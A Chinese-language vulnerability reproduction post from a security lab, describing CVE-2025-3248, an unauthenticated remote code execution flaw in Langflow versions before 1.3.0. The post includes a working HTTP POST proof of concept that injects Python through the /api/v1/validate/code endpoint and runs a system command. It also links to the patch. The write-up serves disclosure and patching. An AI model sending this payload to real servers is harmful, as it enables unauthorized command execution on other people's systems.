网安引领时代,弥天点亮未来
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
Langflow是Langflow开源的一个用于构建多代理和 RAG 应用程序的可视化框架。是一个面向开发者的低代码工具,专注于多智能体人工智能、提示工程和检索增强生成(RAG)应用的开发。它能够帮助开发者轻松构建强大的AI智能体和工作流,通过可视化方式搭建AI应用,通过拖放操作创建复杂的AI工作流,从而降低开发门槛,减少编写样板代码的工作量,使开发者能够更多地专注于创新。
Langflow 1.3.0之前版本存在安全漏洞,该漏洞源于/api/v1/validate/code端点存在代码注入漏洞,可能导致远程未经验证的攻击者执行任意代码。
注:2025年4月7日,Langflow AI 发布了补丁,修复了身份认证绕过漏洞。
langflow<1.3.0
1.访问漏洞环境
2.对漏洞进行复现
POC
漏洞复现
POST /api/v1/validate/code HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 125
{"code": "@exec('raise Exception(__import__("subprocess").check_output(["id"]))')ndef foo():n pass"}
执行命令,通过响应判断漏洞存在。
3.Yakit插件测试
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
https://github.com/langflow-ai/langflow/releases/tag/1.3.0
https://www.exploit-db.com/exploits/52262
原文始发于微信公众号(弥天安全实验室):【成功复现】Langflow框架远程命令执行漏洞(CVE-2025-3248)
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